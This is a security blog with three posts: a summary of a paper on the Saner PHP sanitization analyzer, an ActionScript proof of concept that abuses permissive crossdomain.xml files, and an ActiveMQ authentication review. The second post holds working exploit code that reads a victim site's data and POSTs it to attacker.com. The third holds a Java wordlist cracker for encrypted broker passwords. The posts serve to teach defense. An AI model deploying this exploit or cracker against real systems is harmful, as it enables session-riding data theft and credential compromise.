Wednesday, September 11, 2013

Validating Custom Sanitization in Web Applications with Saner

Introduction
I recently read a paper in which the authors combined static and dynamic source code review techniques to evaluate the effectiveness of custom built data sanitization routines in PHP based web applications. The paper was very interesting and I thought to summarize it for quick consumption.
The authors suggest that static analysis systems are not able to analyze custom sanitization routines and often report security vulnerabilities even when these routines are able to effectively neutralize the malicious characters. These reported vulnerabilities (true or false positives) are typically subjected to manual analysis to identify the effectiveness of the custom code. This process is prone and often leads to inaccurate results with false positives or negatives.
As a part of their research, the authors wrote Saner with the objective to analyze custom sanitization routines to identify XSS and SQL injection vulnerabilities in PHP based web applications. Saner works by combining Static and Dynamic analysis techniques which resulted in low false positive rates and it had the ability to identify the exact attack vectors that could bypass the custom sanitization code. It is based on Pixy; an open source web vulnerability scanner for PHP.
The following figure shows the two phases used by Saner.
Figure 1: Image shows the different stages of analysis performed by Saner


Static Analysis
There are two types of static analysis models, sound and unsound. The sound model flags custom sanitization routines as ineffective and the unsound model assumes that string manipulation operations on tainted input results in untainted output. The sound model can result in large number of false positives and the unsound model may lead to false negatives.
Pixy provides the data flow analysis between sources and sensitive sinks, identifies if any built in sanitization routines are applied to the identified data flow paths. Pixy follows sound analysis model and it flags custom sanitization routines as ineffective and that results in high false positive rates. Additionally, program variables in Pixy can be either tainted or untainted and Pixy cannot capture the set of values each variable can hold.
To address these shortcomings, Pixy was extended to derive an over-approximation of the values that program variables can hold for every point in the program. It was based on finite state automata to describe an arbitrary set of strings and associating taint qualifiers to the automata transitions.  This provided Saner with an ability to track the taint status of different parts of the string.
Saner performs postorder traversal on Pixy’s dependency graphs to derive the automata that describe the possible string values a program node can contain. The node can be a) a string, b) a variable or c) an operation. When a node represents a string literal, it is decorated with an automaton that describes the exact string. The automaton for program variables is calculated based on the successor nodes from the dependency graph.
Saner categorizes operations in two types of groups. The first group has the functions that are precisely modeled, i.e. Saner is uses finite state transducers to compute an automaton to describer all possible output strings from this category of functions. The Saner team developed a number of finite state transducers for custom string manipulation functions and also the functions that are commonly used for input sanitization. This is required to precisely capture the effect of the sanitization routines. The second group is of un-modeled functions where Saner depends on the values passed to the parameters of these functions and computes the automaton based on least upper bound of the taint status of the supplied parameters.
Saner uses Mohri and Sporat’s algorithm to model the functions. The automata used in the Mohri and Sporat’s algorithm are not taint aware. In order to get around the limitation, the algorithm was left unmodified and a clever workaround was used to leverage the existing algorithm to propagate taint information. The workaround replaced static strings with empty ones to ensure that static, untainted strings that contain dangerous meta-characters do not lead to false positives. To compensate for the loss of information from static string removal, an over approximation of possible string values was derived based on various modeled functions and the parameters they accept. This approach allowed removal of false negatives.
Finally, in order to determine if a potentially malicious input makes it to a sensitive sink, an intersection is calculated between the automaton that represents the sink’s input and the automaton that contains the set of undesired characters. For every non-empty intersection, the source-sink pair is flagged as a potential true positive and the information is passed to the dynamic analysis phase.


Figure 2: Image summarizes the static analysis phase





Dynamic Analysis
The static phase is conservative and may generate false positives and that requires developers to manually inspect the code to weed out the reported false positives. The dynamic analysis component attempts to automate this analysis by directly executing the custom sanitization routines on a set of malicious inputs and then analyzing the output to determine if the malicious characters were sanitized or not.
After receiving the source-sink pairs from the static analysis component, the dynamic analysis extracts all the nodes pertinent to the custom data sanitization and abstracts out all the other application details. It then calculates sanitization graph for each source-sink pair and uses that information to construct all possible paths from source to sink.
Based on the type of the sink, a test suite (XSS or SQL injection) is selected for evaluation. For example, if the sink forms a portion of a SQL query, SQL injection test suite will be run on the corresponding data flow paths. The final step of the process invokes the PHP interpreter to evaluate the result of executing each block of code using the corresponding test suite.
The results of each test were then analyzed by an oracle function to check for occurrence of particular substrings and the result was categorized as a true positive or a false positive.


Figure 3: Image summarizes the dynamic analysis phase


Results
Saner identified 13 novel vulnerabilities across five open source PHP applications. The time required to perform analysis was in the order of a few minutes for almost all applications.


Observations
  1. Saner’s dynamic analysis effectiveness is primarily driven by its input test suite which is limited. The whitepaper does not discuss the mutation engines, if any, used for the attack vectors.  An intelligent mutation engine can potentially make the tool more effective. Additionally, the tool was written to identify XSS vectors that rely on < symbol. Including other XSS injection techniques can also increase the detection rate.
  2. The interesting custom validation bypass attacks that Saner identified and discussed in the paper were Cross Site Scripting attacks and the authors did not discuss any identified SQL injection vulnerability.
  3. The dynamic analysis component can also be leveraged to write unit test cases for PHP web applications. I could not find Saner source code and plan to reach out to the authors to check its availability.

Nov 8, 2013 Update
I contacted the authors and it appears that Saner source code was never released and is not traceable.

Wednesday, August 28, 2013

Exploiting Insecure crossdomain.xml to Bypass Same Origin Policy (ActionScript PoC)


Adobe Flash is among the most popular browser plugins and also ships by default with a couple of popular web browsers. Its widespread prevalence has made it a frequent target of attacks and also been as a vector to launch attacks. One such attack vector is to use Flash for cross-domain data access.
In this blog post we will review at a known attack vector and create a Proof of Concept exploit to bypass browser’s Same-origin policy for websites that host an overly permissive cross-domain policy file.

Cross-domain Policy Files
Flash Player’s default security model enforces the same origin policy similar to contemporary browsers and does not allow cross domain data read operations. However, it can make exception to this rule and disregard its default security model if a website in question hosts a cross-domain policy file (named crossdomain.xml) to allow data access from other domains. Insecurely written cross-domain policy files can expose critical application data over the internet. The example policy file below shows once such example where the website opens itself to read access from every running instance of Flash Player.
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>



To understand the impact of such cross-domain policy file, let us consider a scenario where a bank website has such a policy file.
  1. A user logs on to the banking website.
  2. The user then visits another website in different browser tab and that website hosts a malicious Flash file to retrieve user information from the bank website.
  3. When the Flash Player notices an attempt to perform cross-domain read operation, it retrieves crossdomain.xml file from the bank website to discover the permitted operations.
  4. It then sends out a read request to a known bank URL that returns sensitive information like user bank account numbers, account balance etc…
  5. The browser adds user’s session cookies to the outgoing requests and since the user is logged in, the malicious Flash file is served with critical user information.
  6. The Flash file then passes it on to the malicious server.

The ActionScript exploit code
I wanted to demonstrate the impact of this vulnerability but could not find a Proof of Concept ActionScript code. After tinkering around with ActionScript and Apache Flex SDK, I had a working PoC which is provided below along with the HTML file that I used to embed the Flash file.
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "http://victim.com/supersecret";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}


private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "http://attacker.com/store"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}



The following HTML file can be used to embed the flash file for delivery.
<html>
<object type="application/x-shockwave-flash" data="XDomainXploit.swf" width="1" height="1">
<param name="movie" value="XDomainXploit.swf" />
</object>
</html>



The code along with a README is also uploaded to GitHub repository which can be found here.

Compiling and deploying the ActionScript code
I used Apache Flex SDK to compile the ActionScript code and you can follow the below provided steps to get your exploit working.
  1. Download and install Apache Flex SDK that comes with an ActionScript compiler.
  2. Copy the ActionScript code to your local directory and name it XDomainXploit.as.
  3. Change the values of readFrom and sendTo parameters to appropriate values as per your needs.
  4. Compile the code with the mxmlc compiler to a Flash file by running the following command. The mxmlc compiler is shipped with Apache Flex.
mxmlc XDomainXploit.as
  1. Deploy the generated Swf and the provided HTML files to enjoy the Flash goodness.
Figure 1: Image shows ActionScript compile operation

Below you will see the exploit in action.


Figure 2: Image shows the sequence of requests during PoC execution

The code example above uses hard coded values for readFrom and sendTo parameters in ActionScript code but you can have Flash retrieve these fields from your HTML page using ActionScript’s ExternalInterface class or make the ActionScript to retrieve targets from your attack server at runtime.

Conclusion
Carefully analyze the proposed cross-domain application architecture from security perspective before deploying new or updated cross-domain policy files and make sure that exposure is minimal by not having overly permissive entries in your files. Consider reviewing the following two documents from Adobe that have extensive information on Adobe Flash Player security.

  1. Cross-domain policy file usage recommendations for Flash Player http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html

Thursday, August 15, 2013

Security Considerations for ActiveMQ's Simple Authentication Plugin

Apache ActiveMQ is a popular message broker that has several security features to help secure its deployment. User or client authentication typically a very important security requirement for enterprise applications and ActiveMQ offers two plugin based authentication mechanisms that need to be explicitly enabled and sometimes even coded based on your requirements.

ActiveMQ's Simple Authentication Plugin
In this blog post we will discuss ActiveMQ’s simple authentication plugin and analyze it from security perspective. ActiveMQ’s simple authentication plugin can be enabled by adding the simpleAuthenticationPlugin element to the broker configuration with the required user credentials as show in the image below.


Image shows ActiveMQ's simpleAuthenticationPlugin
The above configuration has two users, admin and general, assigned to two different groups, admins and general respectively.

Now that we have seen the sample simpleAuthenticationPlugin configuration, following are the important security considerations of using this plugin.
  1. It stores usernames and passwords in clear in the configuration files. Access to configuration file can therefore reveal user credentials to unauthorized users. For example, a backup administrator may not be the right person to know broker credentials. However, he will be able to view those if simpleAuthenticationPlugin is used in this fashion.
  2. It does not offer any protection against password bruteforce attacks. That is, there is no provision to enforce account lockout on multiple failed login attempts. This can be devastating if someone is able to bruteforce your admin password and then read all messages passing through the broker and even administer the broker.
Out of the two points discussed above, ActiveMQ tries to address item 1 by providing a capability that can be used to encrypt broker passwords using the password based encryption scheme before storing the passwords inside the configuration files. The password encryption scheme is based off the open source jasypt library’s StandardPBEStringEncryptor class. The image below shows the encrypted passwords for two ActiveMQ users.

ActiveMQ's encrypted passwords


Decrypting ActiveMQ Passwords
Since the passwords are encrypted and not hashed, it is possible to obtain the correct password if the encryption string is available or if it can be bruteforced. So I wrote a Java Class (code below) to subject the encrypted strings to a bruteforce attack from a wordlist which also contained the correct password. It took 240 seconds for 1,000,000 (1 million) decryption attempts at the rate of 4,166 unique passwords per second on a single thread and a single core. Impressive, isn’t it? 


Image shows successful password decryption with our custom class


The ActiveMQ binary can also be used to decrypt passwords from its configuration files and we can also script it. However, that would require us to have ActiveMQ binaries and may not as fast. Additionally, once a single password is cracked, we can use the obtained key to decrypt the other ones. You can also use JMSDigger to perform batch password decryption.



Example code to perform ActiveMQ's password decryption
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;

import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;
import org.jasypt.exceptions.EncryptionOperationNotPossibleException;

public class AMQPasswordDecrypt {
       private String encryptedText;
       private StandardPBEStringEncryptor encryptor;

       public AMQPasswordDecrypt(String encryptedText) {
              this.encryptedText = encryptedText;
              this.encryptor = new StandardPBEStringEncryptor();
       }
      
       public String decrypt(String decryptionString) {
              try {
                     encryptor = new StandardPBEStringEncryptor();
                     encryptor.setPassword(decryptionString);
                     return(encryptor.decrypt(encryptedText));
              } catch (EncryptionOperationNotPossibleException ex) {
                     //Absorb this and return null since decrypt operation was not successful
                     return null;
              }
       }
      
       private static void showHelpAndExit() {
              System.out.println("Run as: \njava -cp <Classpath> AMQPasswordDecrypt \n\t<EncryptedActiveMQPassword> <FilePathForDecryptionStrings>");
              System.exit(0);
       }
      
       public String getEncryptedText() {
              return encryptedText;
       }
      
       public static void main(String... args) throws FileNotFoundException {
              if(args.length != 2)
                     showHelpAndExit();
             
              for(String arg: args) {
                     if(arg.equals("-h") || arg.equals("--h") || arg.equals("--help"))
                           showHelpAndExit();
              }
             
              AMQPasswordDecrypt brute = new AMQPasswordDecrypt(args[0]);
             
              Scanner in = new Scanner(new FileInputStream(args[1]));
              String decryptionString = "";
              String decryptedPassword = null;
             
              while(in.hasNextLine()) {
                     decryptionString = in.nextLine();
                     System.out.printf("Trying to decrypt %s with %s\n", brute.getEncryptedText(), decryptionString);

                     if((decryptedPassword = brute.decrypt(decryptionString) ) != null)
                           break;
              }
             
              if(decryptedPassword != null)
                     System.out.printf("Encrypted password = %s, Decrypted password = %s, Decryption String = %s", brute.getEncryptedText(), decryptedPassword, decryptionString);
              else
                     System.out.printf("%s could not be decrypted", brute.getEncryptedText());

              in.close();
       }
}
Conclusion
To summarize, if you are using ActiveMQ broker for business critical processes, you may want to use the simpleAuthenticationPlugin only for PoC or initial testing as it may not offer the level of security your environment needs. Consider implementing custom JAAS  (Java Authentication and Authorization Service) authentication plugin for better security. 

We will also have a blog post on writing JAAS based authentication plugin for ActiveMQ in near future. Stay tuned!